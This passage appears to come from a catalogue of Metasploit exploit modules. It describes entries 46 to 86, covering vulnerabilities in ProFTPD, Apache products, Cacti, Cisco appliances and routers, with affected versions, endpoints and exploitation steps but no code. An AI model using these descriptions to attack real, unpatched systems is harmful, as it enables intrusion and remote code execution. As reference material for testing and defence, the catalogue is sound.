  this off-by-one bug via MKD command, but failed. We did not work on this bug
  since then.

  Actually, there are exists at least two bugs in sreplace function, one is the
  mentioned off-by-one heap overflow bug the other is a stack-based buffer overflow
  via 'sstrncpy(dst,src,negative argument)'.

  We were unable to reach the "sreplace" stack bug on ProFTPD 1.2.10 stable
  version, but the version 1.3.0rc3 introduced some interesting changes, among them:

  1. another (integer) overflow in sreplace!
  2. now it is possible to reach sreplace stack-based buffer overflow bug via
    the "pr_display_file" function!
  3. stupid '.message' file display bug

  So we decided to choose ProFTPD 1.3.0 as a target for our exploit.
  To reach the bug, you need to upload a specially created .message file to a
  writeable directory, then do "CWD <writeable directory>" to trigger the invocation
  of sreplace function.
  Note that ProFTPD 1.3.0rc3 has introduced a stupid bug: to display
'.message'
  file you also have to upload a file named '250'. ProFTPD 1.3.0 fixes
this bug.

  The exploit is a part of VulnDisco Pack since Dec 2005.

End Exploit Number 46

Begin Exploit Number 47
       Name: ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow
(Linux)
     Module: exploit/linux/ftp/proftp_telnet_iac
   Platform: Linux
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-11-01

Payload information:
  Space: 4096
  Avoid: 7 characters

Description:
  This module exploits a stack-based buffer overflow in versions of
ProFTPD
  server between versions 1.3.2rc3 and 1.3.3b. By sending data
containing a
  large number of Telnet IAC commands, an attacker can corrupt memory
and
  execute arbitrary code.

  The Debian Squeeze version of the exploit uses a little ROP stub to
indirectly
  transfer the flow of execution to a pool buffer (the cmd_rec "res"
in
  "pr_cmd_read").

  The Ubuntu version uses a ROP stager to mmap RWX memory, copy a
small stub
  to it, and execute the stub. The stub then copies the remainder of
the payload
  in and executes it.

  NOTE: Most Linux distributions either do not ship a vulnerable
version of
  ProFTPD, or they ship a version compiled with stack smashing
protection.
```

```
  Although SSP significantly reduces the probability of a single
attempt
  succeeding, it will not prevent exploitation. Since the daemon forks
in a
  default configuration, the cookie value will remain the same despite
  some attempts failing. By making repeated requests, an attacker can
eventually
  guess the cookie value and exploit the vulnerability.

  The cookie in Ubuntu has 24-bits of entropy. This reduces the
effectiveness
  and could allow exploitation in semi-reasonable amount of time.

End Exploit Number 47

Begin Exploit Number 48
       Name: Unreal Tournament 2004 "secure" Overflow (Linux)
     Module: exploit/linux/games/ut2004_secure
   Platform: Linux
       Arch: 
 Privileged: Yes
    License: BSD License
       Rank: Good
  Disclosed: 2004-06-18

Payload information:
  Space: 512
  Avoid: 2 characters

Description:
  This is an exploit for the GameSpy secure query in
  the Unreal Engine.

  This exploit only requires one UDP packet, which can
  be both spoofed and sent to a broadcast address.
  Usually, the GameSpy query server listens on port 7787,
  but you can manually specify the port as well.

  The RunServer.sh script will automatically restart the
  server upon a crash, giving us the ability to
  bruteforce the service and exploit it multiple
  times.

End Exploit Number 48

Begin Exploit Number 49
       Name: Accellion FTA getStatus verify_oauth_token Command
Execution
     Module: exploit/linux/http/accellion_fta_getstatus_oauth
   Platform: Unix
```

```
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-07-10

Payload information:
  Space: 1024

Description:
  This module exploits a metacharacter shell injection vulnerability
in the Accellion
  File Transfer appliance. This vulnerability is triggered when a
user-provided
  'oauth_token' is passed into a system() call within a mod_perl
handler. This
  module exploits the '/tws/getStatus' endpoint. Other vulnerable
handlers include
  '/seos/find.api', '/seos/put.api', and /seos/mput.api'. This issue
was confirmed on
  version FTA_9_11_200, but may apply to previous versions as well.
This issue was
  fixed in software update FTA_9_11_210.

End Exploit Number 49

Begin Exploit Number 50
       Name: Advantech Switch Bash Environment Variable Code Injection
(Shellshock)
     Module: exploit/linux/http/advantech_switch_bash_env_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-12-01

Payload information:
  Space: 1024
  Avoid: 3 characters

Description:
  This module exploits the Shellshock vulnerability, a flaw in how the
Bash shell
  handles external environment variables. This module targets the
'ping.sh' CGI
  script, accessible through the Boa web server on Advantech switches.
This module
  was tested against firmware version 1322_D1.98.
```

```
End Exploit Number 50

Begin Exploit Number 51
       Name: Airties login-cgi Buffer Overflow
     Module: exploit/linux/http/airties_login_cgi_bof
   Platform: Linux
       Arch: mipsbe
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2015-03-31

Payload information:

Description:
  This module exploits a remote buffer overflow vulnerability on
several Airties routers.
  The vulnerability exists in the handling of HTTP queries to the
login cgi with long
  redirect parameters. The vulnerability doesn't require
authentication. This module has
  been tested successfully on the AirTies_Air5650v3TT_FW_1.0.2.0.bin
firmware with emulation.
  Other versions such as the Air6372, Air5760, Air5750, Air5650TT,
Air5453, Air5444TT,
  Air5443, Air5442, Air5343, Air5342, Air5341, Air5021 are also
reported as vulnerable.

End Exploit Number 51

Begin Exploit Number 52
       Name: Alcatel-Lucent OmniPCX Enterprise masterCGI Arbitrary
Command Execution
     Module: exploit/linux/http/alcatel_omnipcx_mastercgi_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2007-09-09

Payload information:
  Space: 1024

Description:
  This module abuses a metacharacter injection vulnerability in the
  HTTP management interface of the Alcatel-Lucent OmniPCX Enterprise
  Communication Server 7.1 and earlier. The Unified Maintenance Tool
  contains a 'masterCGI' binary which allows an unauthenticated
attacker
```

```
  to execute arbitrary commands by specifying shell metacharaters as 
the
  'user' within the 'ping' action to obtain 'httpd' user access. This
  module only supports command line payloads, as the httpd process 
kills
  the reverse/bind shell spawn after the HTTP 200 OK response.

End Exploit Number 52

Begin Exploit Number 53
       Name: AlienVault OSSIM/USM Remote Code Execution
     Module: exploit/linux/http/alienvault_exec
   Platform: Python
       Arch: python
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-01-31

Payload information:

Description:
  This module exploits object injection, authentication bypass and ip 
spoofing vulnerabilities all together.
  Unauthenticated users can execute arbitrary commands under the 
context of the root user.

  By abusing authentication bypass issue on gauge.php lead adversaries 
to exploit object injection vulnerability
  which leads to SQL injection attack that leaks an administrator 
session token. Attackers can create a rogue
  action and policy that enables to execute operating system commands 
by using captured session token. As a final step,
  SSH login attempt with an invalid credentials can trigger a created 
rogue policy which triggers an action that executes
  operating system command with root user privileges.

  This module was tested against following product and versions:
  AlienVault USM 5.3.0, 5.2.5, 5.0.0, 4.15.11, 4.5.0
  AlienVault OSSIM 5.0.0, 4.6.1

End Exploit Number 53

Begin Exploit Number 54
       Name: AlienVault OSSIM SQL Injection and Remote Code Execution
     Module: exploit/linux/http/alienvault_sqli_exec
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
```

```
       Rank: Excellent
  Disclosed: 2014-04-24

Payload information:

Description:
  This module exploits an unauthenticated SQL injection vulnerability
affecting AlienVault
  OSSIM versions 4.3.1 and lower. The SQL injection issue can be
abused in order to retrieve an
  active admin session ID.  If an administrator level user is
identified, remote code execution
  can be gained by creating a high priority policy with an action
containing our payload.

End Exploit Number 54

Begin Exploit Number 55
       Name: Apache Airflow 1.10.10 - Example DAG Remote Code
Execution
     Module: exploit/linux/http/apache_airflow_dag_rce
   Platform: Linux, Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-07-14

Payload information:

Description:
  This module exploits an unauthenticated command injection
vulnerability
  by combining two critical vulnerabilities in Apache Airflow 1.10.10.
  The first, CVE-2020-11978, is an authenticated command injection
vulnerability
  found in one of Airflow's example DAGs,
"example_trigger_target_dag", which
  allows any authenticated user to run arbitrary OS commands as the
user
  running Airflow Worker/Scheduler. The second, CVE-2020-13927, is a
default
  setting of Airflow 1.10.10 that allows unauthenticated access to
Airflow's
  Experimental REST API to perform malicious actions such as creating
the
  vulnerable DAG above. The two CVEs taken together allow vulnerable
DAG creation
  and command injection, leading to unauthenticated remote code
execution.
```

```
End Exploit Number 55

Begin Exploit Number 56
       Name: Apache Continuum Arbitrary Command Execution
     Module: exploit/linux/http/apache_continuum_cmd_exec
   Platform: Linux
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-04-06

Payload information:

Description:
  This module exploits a command injection in Apache Continuum <=
1.4.2.
  By injecting a command into the installation.varValue POST parameter
to
  /continuum/saveInstallation.action, a shell can be spawned.

End Exploit Number 56

Begin Exploit Number 57
       Name: Apache CouchDB Arbitrary Command Execution
     Module: exploit/linux/http/apache_couchdb_cmd_exec
   Platform: Linux
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-04-06

Payload information:

Description:
  CouchDB administrative users can configure the database server via
HTTP(S).
  Some of the configuration options include paths for operating
system-level binaries that are subsequently launched by CouchDB.
  This allows an admin user in Apache CouchDB before 1.7.0 and 2.x
before 2.1.1 to execute arbitrary shell commands as the CouchDB user,
  including downloading and executing scripts from the public
internet.

End Exploit Number 57

Begin Exploit Number 58
       Name: Apache Druid 0.20.0 Remote Command Execution
     Module: exploit/linux/http/apache_druid_js_rce
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-01-21

Payload information:

Description:
  Apache Druid includes the ability to execute user-provided
JavaScript code embedded in
  various types of requests; however, that feature is disabled by
default.

  In Druid versions prior to `0.20.1`, an authenticated user can send
a specially-crafted request
  that both enables the JavaScript code-execution feature and executes
the supplied code all
  at once, allowing for code execution on the server with the
privileges of the Druid Server process.
  More critically, authentication is not enabled in Apache Druid by
default.

  Tested on the following Apache Druid versions:

  * 0.15.1
  * 0.16.0-iap8
  * 0.17.1
  * 0.18.0-iap3
  * 0.19.0-iap7
  * 0.20.0-iap4.1
  * 0.20.0
  * 0.21.0-iap3

End Exploit Number 58

Begin Exploit Number 59
       Name: Apache NiFi H2 Connection String Remote Code Execution
     Module: exploit/linux/http/apache_nifi_h2_rce
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-06-12

Payload information:
  Avoid: 1 characters
```

```
Description:
  The DBCPConnectionPool and HikariCPConnectionPool Controller
Services in
  Apache NiFi 0.0.2 through 1.21.0 allow an authenticated and
authorized user
  to configure a Database URL with the H2 driver that enables custom
code execution.

  This exploit will result in several shells (5-7).
  Successfully tested against Apache nifi 1.17.0 through 1.21.0.

End Exploit Number 59

Begin Exploit Number 60
       Name: Apache OFBiz XML-RPC Java Deserialization
     Module: exploit/linux/http/apache_ofbiz_deserialization
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-07-13

Payload information:

Description:
  This module exploits a Java deserialization vulnerability in Apache
  OFBiz's unauthenticated XML-RPC endpoint /webtools/control/xmlrpc
for
  versions prior to 17.12.01 using the ROME gadget chain.

  Versions up to 18.12.11 are exploitable utilizing an auth bypass
CVE-2023-51467
  and use the CommonsBeanutils1 gadget chain.

  Verified working on 18.12.09, 17.12.01, and 15.12

End Exploit Number 60

Begin Exploit Number 61
       Name: Apache OFBiz SOAP Java Deserialization
     Module: exploit/linux/http/apache_ofbiz_deserialization_soap
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-03-22
```

```
Payload information:

Description:
  This module exploits a Java deserialization vulnerability in Apache
  OFBiz's unauthenticated SOAP endpoint /webtools/control/SOAPService
for
  versions prior to 17.12.06.

End Exploit Number 61

Begin Exploit Number 62
       Name: Apache Solr Backup/Restore APIs RCE
     Module: exploit/linux/http/apache_solr_backup_restore
   Platform: Unix, Linux
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2024-02-24

Payload information:
  Avoid: 1 characters

Description:
  Apache Solr from 6.0.0 through 8.11.2, from 9.0.0 before 9.4.1 is
affected by an Unrestricted Upload of File
  with Dangerous Type vulnerability which can result in remote code
execution in the context of the user running
  Apache Solr. When Apache Solr creates a Collection, it will use a
specific directory as the classpath and load
  some classes from it. The backup function of the Collection can
export malicious class files uploaded by
  attackers to the directory, allowing Solr to load custom classes and
create arbitrary Java code. Execution
  can further bypass the Java sandbox configured by Solr, ultimately
causing arbitrary command execution.

End Exploit Number 62

Begin Exploit Number 63
       Name: Apache Spark Unauthenticated Command Injection RCE
     Module: exploit/linux/http/apache_spark_rce_cve_2022_33891
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-07-18

Payload information:
```

```
Description:
  This module exploits an unauthenticated command injection
vulnerability in Apache Spark.
  Successful exploitation results in remote code execution under the
context of the Spark application user.

  The command injection occurs because Spark checks the group
membership of the user passed
  in the ?doAs parameter by using a raw Linux command.

  It is triggered by a non-default setting called spark.acls.enable.
  This configuration setting spark.acls.enable should be set true in
the Spark configuration to make the application vulnerable for this
attack.

  Apache Spark versions 3.0.3 and earlier, versions 3.1.1 to 3.1.2,
and versions 3.2.0 to 3.2.1 are affected by this vulnerability.

End Exploit Number 63

Begin Exploit Number 64
       Name: Apache Superset Signed Cookie RCE
     Module: exploit/linux/http/apache_superset_cookie_sig_rce
   Platform: Python
       Arch: python
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2023-09-06

Payload information:

Description:
  Apache Superset versions <= 2.0.0 utilize Flask with a known default
secret key which is used to sign HTTP cookies.
  These cookies can therefore be forged. If a user is able to login to
the site, they can decode the cookie, set their user_id to that
  of an administrator, and re-sign the cookie. This valid cookie can
then be used to login as the targeted user. From there the
  Superset database is mounted, and credentials are pulled. A
dashboard is then created. Lastly a pickled python payload can be
  set for that dashboard within Superset's database which will trigger
the RCE.

  An attempt to clean up ALL of the dashboard key values and reset
them to their previous values happens during the cleanup phase.

End Exploit Number 64
```

```
Begin Exploit Number 65
       Name: Artica proxy 4.30.000000 Auth Bypass service-cmds-peform
Command Injection
     Module: exploit/linux/http/
artica_proxy_auth_bypass_service_cmds_peform_command_injection
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-08-09

Payload information:

Description:
  This module exploits an authenticated command injection
vulnerability in Artica Proxy, combined with an authentication bypass
  discovered on the same version, it is possible to trigger the
vulnerability without knowing the credentials.
  The application runs in virtual appliance, successful exploitation
of this vulnerability yields remote code execution as root on the
  remote system.

End Exploit Number 65

Begin Exploit Number 66
       Name: Artica Proxy Unauthenticated PHP Deserialization
Vulnerability
     Module: exploit/linux/http/artica_proxy_unauth_rce_cve_2024_2054
   Platform: PHP, Unix, Linux
       Arch: php, cmd, x64, x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2024-03-05

Payload information:

Description:
  A Command Injection vulnerability in Artica Proxy appliance version
4.50 and 4.40
  allows remote attackers to run arbitrary commands via
unauthenticated HTTP request.
  The Artica Proxy administrative web application will deserialize
arbitrary PHP objects
  supplied by unauthenticated users and subsequently enable code
execution as the "www-data" user.

End Exploit Number 66
```

```
Begin Exploit Number 67
       Name: Astium Remote Code Execution
     Module: exploit/linux/http/astium_sqli_upload
   Platform: PHP
       Arch: php
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2013-09-17

Payload information:

Description:
  This module exploits vulnerabilities found in Astium astium-
confweb-2.1-25399 RPM and
  lower. A SQL Injection vulnerability is used to achieve
authentication bypass and gain
  admin access. From an admin session arbitrary PHP code upload is
possible. It is used
  to add the final PHP payload to "/usr/local/astium/web/php/
config.php" and execute the
  "sudo /sbin/service astcfgd reload" command to reload the
configuration and achieve
  remote root code execution.

End Exploit Number 67

Begin Exploit Number 68
       Name: AsusWRT LAN Unauthenticated Remote Code Execution
     Module: exploit/linux/http/asuswrt_lan_rce
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-01-22

Payload information:

Description:
  The HTTP server in AsusWRT has a flaw where it allows an
unauthenticated client to
  perform a POST in certain cases. This can be combined with another
vulnerability in
  the VPN configuration upload routine that sets NVRAM configuration
variables directly
  from the POST request to enable a special command mode.
  This command mode can then be abused by sending a UDP packet to
infosvr, which is running
  on port UDP 9999 to directly execute commands as root.
  This exploit leverages that to start telnetd in a random port, and
then connects to it.
  It has been tested with the RT-AC68U running AsusWRT Version
3.0.0.4.380.7743.

End Exploit Number 68

Begin Exploit Number 69
       Name: ATutor 2.2.1 Directory Traversal / Remote Code Execution
     Module: exploit/linux/http/atutor_filemanager_traversal
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-03-01

Payload information:

Description:
  This module exploits a directory traversal vulnerability in ATutor
on an Apache/PHP
  setup with display_errors set to On, which can be used to allow us
to upload a malicious
  ZIP file. On the web application, a blacklist verification is
performed before extraction,
  however it is not sufficient to prevent exploitation.

  You are required to login to the target to reach the vulnerability,
however this can be
  done as a student account and remote registration is enabled by
default.

  Just in case remote registration isn't enabled, this module uses 2
vulnerabilities
  in order to bypass the authentication:

  1. confirm.php Authentication Bypass Type Juggling vulnerability
  2. password_reminder.php Remote Password Reset TOCTOU vulnerability

End Exploit Number 69

Begin Exploit Number 70
       Name: Axis IP Camera Application Upload
     Module: exploit/linux/http/axis_app_install
   Platform: Linux
       Arch: armle
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-04-12

Payload information:

Description:
  This module exploits the "Apps" feature in Axis IP cameras. The
feature allows third party
  developers to upload and execute 'eap' applications on the device.
The system does not validate
  the application comes from a trusted source, so a malicious attacker
can upload and execute
  arbitrary code. The issue has no CVE, although the technique was
made public in 2018.

  This module uploads and executes stageless meterpreter as `root`.
Uploading the application
  requires valid credentials. The default administrator credentials
used to be `root:root` but
  newer firmware versions force users to provide a new password for
the `root` user.

  The module was tested on an Axis M3044-V using the latest firmware
(9.80.3.8: December 2021).
  Although all modules that support the "Apps" feature are presumed to
be vulnerable.

End Exploit Number 70

Begin Exploit Number 71
       Name: Axis Network Camera .srv-to-parhand RCE
     Module: exploit/linux/http/axis_srv_parhand_rce
   Platform: Unix, Linux
       Arch: cmd, armle
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-06-18

Payload information:

Description:
  This module exploits an auth bypass in .srv functionality and a
  command injection in parhand to execute code as the root user.

End Exploit Number 71

Begin Exploit Number 72
       Name: Belkin Play N750 login.cgi Buffer Overflow
     Module: exploit/linux/http/belkin_login_bof
   Platform: Linux
```

```
       Arch: mipsle
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-05-09

Payload information:

Description:
  This module exploits a remote buffer overflow vulnerability on
Belkin Play N750 DB
  Wireless Dual-Band N+ Router N750 routers. The vulnerability exists
in the handling
  of HTTP queries with long 'jump' parameters addressed to the /
login.cgi URL, allowing
  remote unauthenticated attackers to execute arbitrary code. This
module was tested in
  an emulated environment, using the version 1.10.16.m of the
firmware.

End Exploit Number 72

Begin Exploit Number 73
       Name: Bitbucket Git Command Injection
     Module: exploit/linux/http/bitbucket_git_cmd_injection
   Platform: Linux
       Arch: x86, x64, cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-08-24

Payload information:

Description:
  Various versions of Bitbucket Server and Data Center are vulnerable
to
  an unauthenticated command injection vulnerability in multiple API
endpoints.

  The `/rest/api/latest/projects/{projectKey}/repos/{repositorySlug}/
archive` endpoint
  creates an archive of the repository, leveraging the `git-archive`
command to do so.
  Supplying NULL bytes to the request enables the passing of
additional arguments to the
  command, ultimately enabling execution of arbitrary commands.

End Exploit Number 73
```

```
Begin Exploit Number 74
       Name: Bludit Directory Traversal Image File Upload
Vulnerability
     Module: exploit/linux/http/bludit_upload_images_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-09-07

Payload information:

Description:
  This module exploits a vulnerability in Bludit. A remote user could
abuse the uuid
  parameter in the image upload feature in order to save a malicious
payload anywhere
  onto the server, and then use a custom .htaccess file to bypass the
file extension
  check to finally get remote code execution.

End Exploit Number 74

Begin Exploit Number 75
       Name: Cacti 1.2.22 unauthenticated command injection
     Module: exploit/linux/http/cacti_unauthenticated_cmd_injection
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-12-05

Payload information:

Description:
  This module exploits an unauthenticated command injection
  vulnerability in Cacti through 1.2.22 (CVE-2022-46169) in
  order to achieve unauthenticated remote code execution as the
  www-data user.

  The module first attempts to obtain the Cacti version to see
  if the target is affected. If LOCAL_DATA_ID and/or HOST_ID
  are not set, the module will try to bruteforce the missing
  value(s). If a valid combination is found, the module will
  use these to attempt exploitation. If LOCAL_DATA_ID and/or
  HOST_ID are both set, the module will immediately attempt
  exploitation.
  During exploitation, the module sends a GET request to
  /remote_agent.php with the action parameter set to polldata
  and the X-Forwarded-For header set to the provided value for
  X_FORWARDED_FOR_IP (by default 127.0.0.1). In addition, the
  poller_id parameter is set to the payload and the host_id
  and local_data_id parameters are set to the bruteforced or
  provided values. If X_FORWARDED_FOR_IP is set to an address
  that is resolvable to a hostname in the poller table, and the
  local_data_id and host_id values are vulnerable, the payload
  set for poller_id will be executed by the target.

  This module has been successfully tested against Cacti
  version 1.2.22 running on Ubuntu 21.10 (vulhub docker image)

End Exploit Number 75

Begin Exploit Number 76
       Name: Cayin CMS NTP Server RCE
     Module: exploit/linux/http/cayin_cms_ntp
   Platform: Linux
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-06-04

Payload information:

Description:
  This module exploits an authenticated RCE in Cayin CMS <= 11.0. The
RCE is executed
  in the system_service.cgi file's ntpIp Parameter. The field is
limited in size, so
  repeated requests are made to achieve a larger payload.
  Cayin CMS-SE is built for Ubuntu 16.04 (20.04 failed to install
correctly), so the
  environment should be pretty set and not dynamic between targets.
  Results in root level access.

End Exploit Number 76

Begin Exploit Number 77
       Name: Centreon Poller Authenticated Remote Command Execution
     Module: exploit/linux/http/centreon_pollers_auth_rce
   Platform: Linux, Unix
       Arch: cmd, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-01-27
```

```
Payload information:

Description:
  An authenticated user with sufficient administrative rights to
manage pollers can use this functionality to
  execute arbitrary commands remotely. Usually, the miscellaneous
commands are used by the additional modules
  (to perform certain actions), by the scheduler for data processing,
etc.

  This module uses this functionality to obtain a remote shell on the
target.

End Exploit Number 77

Begin Exploit Number 78
       Name: Centreon SQL and Command Injection
     Module: exploit/linux/http/centreon_sqli_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-10-15

Payload information:
  Space: 1500

Description:
  This module exploits several vulnerabilities on Centreon 2.5.1 and
prior and Centreon
  Enterprise Server 2.2 and prior. Due to a combination of SQL
injection and command
  injection in the displayServiceStatus.php component, it is possible
to execute arbitrary
  commands as long as there is a valid session registered in the
centreon.session table.
  In order to have a valid session, all it takes is a successful login
from anybody.
  The exploit itself does not require any authentication.

  This module has been tested successfully on Centreon Enterprise
Server 2.2.

End Exploit Number 78

Begin Exploit Number 79
       Name: Centreon Web Useralias Command Execution
     Module: exploit/linux/http/centreon_useralias_exec
   Platform: Python
       Arch: python
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-02-26

Payload information:

Description:
  Centreon Web Interface <= 2.5.3 utilizes an ECHO for logging SQL
  errors.  This functionality can be abused for arbitrary code
  execution, and can be triggered via the login screen prior to
  authentication.

End Exploit Number 79

Begin Exploit Number 80
       Name: Red Hat CloudForms Management Engine 5.1 agent/linuxpkgs
Path Traversal
     Module: exploit/linux/http/cfme_manageiq_evm_upload_exec
   Platform: Ruby
       Arch: ruby
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-09-04

Payload information:

Description:
  This module exploits a path traversal vulnerability in the
"linuxpkgs"
  action of "agent" controller of the Red Hat CloudForms Management
Engine 5.1
  (ManageIQ Enterprise Virtualization Manager 5.0 and earlier).
  It uploads a fake controller to the controllers directory of the
Rails
  application with the encoded payload as an action and sends a
request to
  this action to execute the payload. Optionally, it can also upload a
routing
  file containing a route to the action. (Which is not necessary,
since the
  application already contains a general default route.)

End Exploit Number 80

Begin Exploit Number 81
       Name: Chamilo unauthenticated command injection in PowerPoint
```

```
upload
     Module: exploit/linux/http/chamilo_unauth_rce_cve_2023_34960
   Platform: PHP, Unix, Linux
       Arch: php, cmd, x64, x86, aarch64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-06-01

Payload information:

Description:
  Chamilo is an e-learning platform, also called Learning Management
Systems (LMS).
  This module exploits an unauthenticated remote command execution
vulnerability
  that affects Chamilo versions `1.11.18` and below (CVE-2023-34960).
  Due to a functionality called Chamilo Rapid to easily convert
PowerPoint
  slides to courses on Chamilo, it is possible for an unauthenticated
remote
  attacker to execute arbitrary commands at OS level using a malicious
SOAP
  request at the vulnerable endpoint `/main/webservices/
additional_webservices.php`.

End Exploit Number 81

Begin Exploit Number 82
       Name: Chaos RAT XSS to RCE
     Module: exploit/linux/http/chaos_rat_xss_to_rce
   Platform: Linux, Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2024-04-10

Payload information:
  Avoid: 1 characters

Description:
  CHAOS v5.0.8 is a free and open-source Remote Administration Tool
that
  allows generated binaries to control remote operating systems. The
  webapp contains a remote command execution vulnerability which
  can be triggered by an authenticated user when generating a new
  executable. The webapp also contains an XSS vulnerability within
  the view of a returned command being executed on an agent.
  Execution can happen through one of three routes:

  1. Provided credentials can be used to execute the RCE directly

  2. A JWT token from an agent can be provided to emulate a
compromised
  host. If a logged in user attempts to execute a command on the host
  the returned value contains an xss payload.

  3. Similar to technique 2, an agent executable can be provided and
the
  JWT token can be extracted.

  Verified against CHAOS 7d5b20ad7e58e5b525abdcb3a12514b88e87cef2
running
  in a docker container.

End Exploit Number 82

Begin Exploit Number 83
       Name: Cisco ASA-X with FirePOWER Services Authenticated Command
Injection
     Module: exploit/linux/http/cisco_asax_sfr_rce
   Platform: Unix, Linux
       Arch: cmd, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-06-22

Payload information:

Description:
  This module exploits an authenticated command injection
vulnerability affecting
  Cisco ASA-X with FirePOWER Services. This exploit is executed
through the ASA's
  ASDM web server and lands in the FirePower Services SFR module's
Linux virtual
  machine as the root user. Access to the virtual machine allows the
attacker to
  pivot to the inside network, and access the outside network. Also,
the SFR
  virtual machine is running snort on the traffic flowing through the
ASA, so
  the attacker should have access to this diverted traffic as well.

  This module requires ASDM credentials in order to traverse the ASDM
interface.
  A similar attack can be performed via Cisco CLI (over SSH), although
```

```
that isn't
  implemented here.

  Finally, it's worth noting that this attack bypasses the affects of
the
  `lockdown-sensor` command (e.g. the virtual machine's bash shell
shouldn't be
  available but this attack makes it available).

  Cisco assigned this issue CVE-2022-20828. The issue affects all
Cisco ASA that
  support the ASA FirePOWER module (at least Cisco ASA-X with
FirePOWER Service,
  and Cisco ISA 3000). The vulnerability has been patched in ASA
FirePOWER module
  versions 6.2.3.19, 6.4.0.15, 6.6.7, and 7.0.21. The following
versions will
  receive no patch: 6.2.2 and earlier, 6.3.*, 6.5.*, and 6.7.*.

End Exploit Number 83

Begin Exploit Number 84
       Name: Cisco Firepower Management Console 6.0 Post
Authentication UserAdd Vulnerability
     Module: exploit/linux/http/cisco_firepower_useradd
   Platform: Linux
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-10-10

Payload information:

Description:
  This module exploits a vulnerability found in Cisco Firepower
Management Console.
  The management system contains a configuration flaw that allows the
www user to
  execute the useradd binary, which can be abused to create backdoor
accounts.
  Authentication is required to exploit this vulnerability.

End Exploit Number 84

Begin Exploit Number 85
       Name: Cisco HyperFlex HX Data Platform unauthenticated file
upload to RCE (CVE-2021-1499)
     Module: exploit/linux/http/cisco_hyperflex_file_upload_rce
   Platform: Unix, Linux
```

```
       Arch: x86, x64, java
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-05-05

Payload information:

Description:
  This module exploits an unauthenticated file upload vulnerability in
  Cisco HyperFlex HX Data Platform's /upload endpoint to upload and
  execute a payload as the Tomcat user.

End Exploit Number 85

Begin Exploit Number 86
       Name: Cisco HyperFlex HX Data Platform Command Execution
     Module: exploit/linux/http/
cisco_hyperflex_hx_data_platform_cmd_exec
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-05-05

Payload information:

Description:
  This module exploits an unauthenticated command injection in Cisco
  HyperFlex HX Data Platform's /storfs-asup endpoint to execute shell
  commands as the Tomcat user.

End Exploit Number 86

Begin Exploit Number 87
